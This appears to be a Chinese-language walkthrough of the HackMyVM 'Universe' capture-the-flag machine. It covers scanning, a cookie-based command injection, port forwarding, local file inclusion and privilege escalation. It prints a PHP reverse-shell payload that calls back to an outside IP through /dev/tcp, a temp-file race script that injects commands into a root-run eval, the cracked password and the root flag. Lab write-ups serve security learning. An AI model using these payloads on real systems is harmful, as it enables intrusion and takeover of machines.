简介
难度:困难
靶场地址:https://hackmyvm.eu/machines/machine.php?vm=Universe
本地环境
虚拟机:vitual box
靶场IP(universe):192.168.56.108
跳板机IP(windows 10):192.168.56.1 192.168.190.100
渗透机IP(ubuntu 22.04):192.168.190.30
扫描
简单扫一下
nmap -p 1-65535 -T4 -A -v 192.168.56.108/32
确定目标为21端口和22端口
1212端口看着奇怪,其实也就是http
随便访问几下发现users会随机变动,于是fuzz一下
ffuf -w ./dic.txt -u http://192.168.56.108:1212/\?user\=FUZZ -fw 550 -t 50 -c
得到特定user为9
Cookie
根据网页显示,好像要传入cookie,但exec直接传入值会报错
于是编码成base64,这下成功弹到shell了
提权
升级shell
/usr/bin/script -qc /bin/bash /dev/null
转发
可以看到有一个本地才能访问的8080端口
这里直接传个frp,做个转发。
正常转发倒也不必这么大费干戈,socat就能搞了,这里是为了方便后续渗透(虽然事后发现根本没必要)
$cat frps.toml
bindPort = 47000
$cat frpc.toml
serverAddr = "192.168.56.1"
serverPort = 47000
[[proxies]]
name = "web"
type = "tcp"
localIP = "127.0.0.1"
localPort = 8080
remotePort = 8080
跳板机转发配置:
netsh interface portproxy show all
侦听 ipv4: 连接到 ipv4:
地址 端口 地址 端口
--------------- ---------- --------------- ----------
0.0.0.0 40000 192.168.190.30 40000
0.0.0.0 40001 192.168.190.30 40001
0.0.0.0 47000 192.168.190.30 47000
然后就能直接访问了
LFI
看着像LFI,事实上也确实如此,试了几个绕过后发现是./…//…//…//来返回上级目录
这里直接传个php的反弹shell即可
<?php system("bash -c 'sh -i >& /dev/tcp/192.168.56.1/40001 0>&1'");?>
提权
sudo -l 起手
除了Quasar之外,这个目录下还有一个print.sh脚本
void@universe:/scripts$ cat print.sh
#!/usr/bin/env bash
tmp_file=$(/usr/bin/mktemp -u /tmp/read-XXXXX)
(
umask 110
/usr/bin/touch "$tmp_file";
)
/usr/bin/echo "test" > "$tmp_file"
data=$(/usr/bin/cat "$tmp_file")
eval "$data"
先把Quasar脱下来具体看看怎么回事
逆向
经过一系列检测之后,程序会执行print.sh
那么我们需要输入些什么呢?
首先可以看到sub_1414是sha256加密
unsigned __int64 __fastcall sub_1414(__int64 a1, __int64 a2)
{
int i; // [rsp+1Ch] [rbp-ACh]
char v4[112]; // [rsp+20h] [rbp-A8h] BYREF
char v5[40]; // [rsp+90h] [rbp-38h] BYREF
unsigned __int64 v6; // [rsp+B8h] [rbp-10h]
v6 = __readfsqword(0x28u);
SHA256_Init(v4);
SHA256_Update(v4, a1, 10LL);
SHA256_Final(v5, v4);
for ( i = 0; i <= 31; ++i )
sprintf((char *)(a2 + 2 * i), "%02x", (unsigned __int8)v5[i]);
*(_BYTE *)(a2 + 64) = 0;
return v6 - __readfsqword(0x28u);
}
也就是说,原文a1在加密后又通过sha256编码,最后和我们输入的a2的sha256值进行比对
所以逻辑也很简单了,只要在a1和a2比对的位置处下断就可以了
动调
这边我使用了pwngdb。感觉麻烦的话使用idaserver然后远程调试也是可以的,我主要是打pwn习惯了。
首先看看安全机制
checksec ./Quasar
其他不用管,可以看到开启了PIE,所以基址不定
动调之前记得随便设个参数set args 2
,否则会走到"Uso: ./Quasar <password>"
然后下断用b *$rebase(0x1579)
即可
然后就可以到cmd5上面直接解了
如果不想付费的话也可以下断到0x1549,然后查看rdi参数即可。只不过前者更容易理解而已。
密码就是9740252204
写入竞争
print.sh脚本看的不是很明白,让文心看看
这段 Bash 脚本执行了以下操作:
1. 使用 `mktemp` 命令在 `/tmp` 目录下创建了一个临时文件,其名称以 `read-` 开头,后面跟着五个随机字符。这个临时文件的路径被存储在变量 `tmp_file` 中。
2. 在一个子 shell(由 `(` 和 `)` 包围)中,首先使用 `umask` 命令设置了文件创建掩码为 `110`(即八进制的 110,转换为十进制为 72,二进制为 0100 1000)。这意味着新创建的文件将具有默认的权限,但会去掉 group write(组写)和 other write(其他写)权限。然后,使用 `touch` 命令创建或更新这个临时文件的时间戳。
3. 回到主 shell,使用 `echo` 命令将字符串 "test" 写入这个临时文件。
4. 使用 `cat` 命令读取临时文件的内容,并将其存储在变量 `data` 中。
5. 最后,使用 `eval` 命令执行 `data` 变量中的内容。```
也就是说,如果在启动该脚本时、执行umask之前把我们自己的shell脚本写入,就可以eval我们的命令
另起一个终端,然后执行以下shell脚本
#!/bin/bash
while true; do
# 查找 /tmp 目录下以 read 开头的文件
read_files=$(find /tmp -maxdepth 1 -type f -name 'read*')
# 遍历找到的每个文件
for file in $read_files; do
# 向文件写入 "cat /root/root.txt"
echo "cat /root/root.txt" >> "$file"
echo "Wrote to file: $file"
done
done
竞争成功
root{k7Ei4kA88gtL957yYbWdRfVJg}